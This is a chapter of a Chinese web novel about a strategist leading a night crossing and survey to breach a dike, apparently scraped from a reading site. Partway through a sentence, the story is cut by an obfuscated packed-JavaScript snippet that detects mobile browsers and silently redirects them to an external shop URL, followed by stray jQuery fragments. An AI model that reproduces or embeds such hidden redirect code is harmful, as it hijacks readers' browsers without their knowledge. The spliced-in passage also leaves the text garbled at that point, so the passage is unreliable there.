123读书网 > 都市小说 > 扮军师 > 17. 出征
    伏合笑:“谢谢你了,仲由。要是没有你,这还真不知道该怎么办。”


    项冲一愣,下意识地跟着她笑:“啊……啊?没事,不用谢我。”他低下头想笑,突然注意到伏合身上穿的还是两件那单薄的衣服,惊道:“伏师,你怎么在外面还是穿这么薄!你不冷吗?”


    伏合看了一眼,还没出太阳的时候她确实快冻死了,结果走了这一遭下来,她都快忘了这件事。她被项冲半强硬地拉回帐内,他把她按在座位上,皱眉道:“你在这等着!”


    说完项冲跑了出去,过了一会儿抱着两件靛青冬衣走了进来,后面还跟着一个侍卫,手里托着一个漆盘,上面放着一套甲衣。


    项冲把衣服给伏合,似乎有些不好意思,别开了眼睛。道:“虽然这里只有我的衣服……但你先凑合穿吧,我都洗过的!……”


    他没想到只有他自己在矫情,伏合很快就接了过去,道:“行。那我先换,你先到小楼那边去,她也和我们一起去,还是抓紧时间再训练一下他们吧。”


    项冲立刻站起身,看着门口,答:“哦!好,那我去了!你赶紧来。”


    项冲很快和侍卫退了出去,伏合换上衣服,发现她穿着略微大了点。项冲在长个子,现在比她高半个额头,他的衣服伏合也勉强能穿,只是稍微有些宽大,只能紧紧勒住腰部。


    伏合从垫子上起身,走了几步,从一边的兵器架上抽下一把环首刀。丹徒指给她的小帐久未经用,这把环首刀上也蒙了一层薄薄的灰。她轻轻一吹,刀身上的尘埃如蝴蝶一样,扑簌簌地飞起来。


    她握着刀柄,在空荡的帐下持刀起舞,几招过后,放下了刀。


    她准备好了。


    *


    日暮时。


    丹徒的江岸边,江水映照着最后一点晚霞,士兵们头顶的天穹逐渐暗下来。


    号角声在这片水域上传荡,江风把楼船的大帆张满,项协在风声中登临甲板,跟在他身后的张信也爬上来,报:“少将军,下面都备好了。伏令史那边……?”


    项协嗯了一下,和张信一起转头看向东侧,远处的小码头上停着两艘赤红色的船,赤马船本身没有那么小,但因为他们脚下的楼船太过巨大,衬得那两只赤马船好像两片漂在水面上的枫叶。


    项协:“一刻钟前已经有人来报,他们那里已经准备好了,只等丹徒水师出发。再等等吧,让天再暗一点。”


    张信:“诺。”他正要退下,听到项协问:“海陵那边呢?”


    张信赶紧道:“还没消息。就算顺利,季将军应该也不可能那么快攻破海陵的守卫,至少要再打两日才能知道结果。”


    项协眺望着茫茫无际的灰色江面,负手道:“嗯。希望粮草在那之前够用吧。”


    另一边的码头。


    项协拿着竹筒望远,转身道:“大哥怎么还不下令?”


    伏合在小楼的帮助下扣上锁子甲,抬头道:“虽说是为我们掩护,但如果能把广陵的徐州驻军诈出来的话,杀或者俘一部分的话会更好。我们还要等。”


    她看向山丘西侧只剩一丝烟紫色的晚霞,道:“或许要下雨了。”


    项冲:“雨中不便视物,我们必须快点掘堤了。”


    伏合正要开口,突然远处的楼船群齐齐发出号角的长鸣,如江流一般,震声奔向北面。


    项冲浑身一凛,道:“水师开拔了!”


    伏合起身,拍拍身上的灰,转身高声道:“所有人带好东西,上船!”


    丹徒的水师如雁群一般,划开长江水面,向北方的徐州江岸驶去。而另一方向的两只赤马船,则悄悄地向东游去。


    伏合披着大氅,站在船尾,用项冲的竹筒看着远处江面上的丹徒水师。


    她耐心地等着,直到看到在丹徒的楼船队列的北面出现了另一支反方向靠近的水师。很快,两方遭遇,不知是哪边燃起了火光,火焰在江面上燃动了一会儿,大火不算很高,那艘战船像一朵莲花,在江心无声绽开。


    项冲走过来,道:“烧了一艘斗舰,公孙肇怕是也要心疼一天吧。”


    伏合凝眸:“不知是谁箭法如此好,楼船主要的攻击是靠近之后靠拍打来击翻小船,两艘船还有远着,居然射中了火箭。”


    项冲理所当然道:“大哥吧,大哥射术很好的。”


    伏合侧目一笑,心说知道在你心里你大哥天下第一好了。


    她放下竹筒,道:“转向吧,这个距离够了,该到对岸去了,快一点。”


    船两侧划桨的士兵开始调整角度,赤马船的船头缓缓北移,复又停下,然后像一条突然摆尾的红鱼,向还看不见的北岸游去。


    两条船在战场五里外安静地掠过,远处的战场已经听不清声音,江河上的水战本就安静,此时他们站在赤马船上远眺,仿佛在看一场盛大的默片。


    小楼坐在船头,平静地看着脚下江水被狭窄的船身划开,过了许久,她拍拍手站起来,对两人道:“快到了。”


    伏合回过头,一片惨白月光下,北面江岸边的树影像野兽的脊梁,赤马船滑过江面,正在以一个极快的速度靠近那片漆黑起伏的轮廓。


    很快,两艘船在水面上轻轻一曳,在岸边停下。北岸这里没有码头,伏合只让人从地上搬了几块巨石栓住船,然后用麻布盖住船身,就离开了岸边。


    伏合:“所有人按照白天训练的那样两人一组列队,后面的人跟着前面,戴好竹哨,不举火把,小心惊动广陵守卫!”


    八十营兵应是,伏合又对项冲道:“你去后面看着,我在前面带路。”


    项冲点点头:“好。”


    小楼侧首,道:“怎么走?”


    伏合已经先向林中走去,道:“指南车沉重,不方便带,我们只能靠观星。那边是东北,走吧。”


    广陵的山林雪积了有两寸厚,大约也是因为此处林密难行,所以守备大多都放在了交战的邗沟口,这里却没有人。


    他们现在正在一个小山丘的阳坡上缓慢上行,眼前大多是交缠的枯枝,领头的伏合必须和身边的营兵一起挥着斧头,砍断藤条,才能往前走。


    不知走了多久,他们眼前终于露出完整的天空,伏合意识到他们已经走到了山顶,她回头看向队尾,让排在前面的小兵跟后面传话。过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263018|197238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一会儿,项冲终于从后面的树影中钻出来,擦着汗道:“怎么停了?”


    伏合:“这里是山顶,先停下来修整一下,我估一下时间。”


    项冲见她抬头看向天,便站在她身边眺望远处的广陵和邗沟河道,眯眼道:“那边是不是有火把?”


    伏合回过头顺着他手指的方向看,远处有几个针眼大的光点,道:“是邗沟边的守卫。”


    她估算着这里离邗沟至少还有三四里路,若是事情顺利,再加上掘堤的时间也要到后半夜。


    今夜天空中虽时不时有乌云飘过,但月色还算明亮,伏合的视力极佳,她俯视着山下,密匝匝的树林平缓地起伏,从邗沟堤坝到广陵之间,只能看见几处较为明显的凹地。


    小楼背着弓箭,问:“从哪里开始?”


    伏合指向一个方位,项冲眯眼,眼前的黑色平原如地毯一样铺开,她手指着地毯上的一处凹陷,道:“从最低点往堤坝上走,我们一边走一边量,最好能找一条最近的路线,避免最后水流没劲。”


    她抬头看天又确认了一下时间,喊道:“队长!”


    一个精瘦的人从队伍的腰间跑出来,立刻抱拳道:“属下在。”


    “白天挑好的几个水性好的人,现在要用上他们了。你带着人从守卫薄弱的河岸附近潜进河道,游到入水口,把广陵西面的水门撬开。铁斧撬刀都用绳子在腰上,别弄出响声惊动广陵守卫!”


    队长领命带人匆匆离开,伏合立刻带剩下的士兵奔赴原野低点。为了躲避守卫,他们没有拿火把,手握着前面人腰间的绳子赶路。在今天被召集到帐前的时候,所有人都明白了今晚他们做什么,此刻没有一人说话,甚至连呼吸声都没有,所有人只能听见双脚踩进积雪时,他靴子下发出的咯吱咯吱的微声。


    到了凹地,伏合手里拿着一块画着细密方阵的木板,指挥士兵们依次排开,她站在中央,下令:“散开——”


    她身边的士兵们或是握着水准仪,或是持竿,好像一颗小石子投入安静的山林,他们一圈一圈地往四方散开,直到风波平静。腰间的绳子连接着他们的搭档,绳子随着步子越来越远而慢慢被抻直,直到腰间一顿,绳子恰巧与水准仪平行,停下,立地插竿。


    很快,野地上建起一个宛如用麻绳和木棍搭建的法阵,一段一段从中心点向外辐射的麻绳在北风中呼吸晃荡,伏合站在中心,环顾四方。


    没过多久,寒风中陆续传来四面八方的竹哨声,哨声穿过枝桠,送到阵眼中心的伏合身边。她一手托着木板,一手握笔,在木板上飞快地记下听见的信息。山林里气温太低,她不得不隔一会儿就要捻开结冰的笔头,然后才能继续写。


    细小的数字从笔尖流出,在木板的坐标上密密麻麻地落下。


    不,不够,还是不够。


    八十人还是太少了,就算加上了小楼和项冲,最远端的士兵已经距离她大约有几百米远,就算她耳听八方,这个速度也还是太慢了。


    突然,她捡起挂在脖子上的竹哨,长长地吹了一声。尖锐悠长的哨声叫停了所有人,士兵们纷纷放下手中的东西,回头看向原点。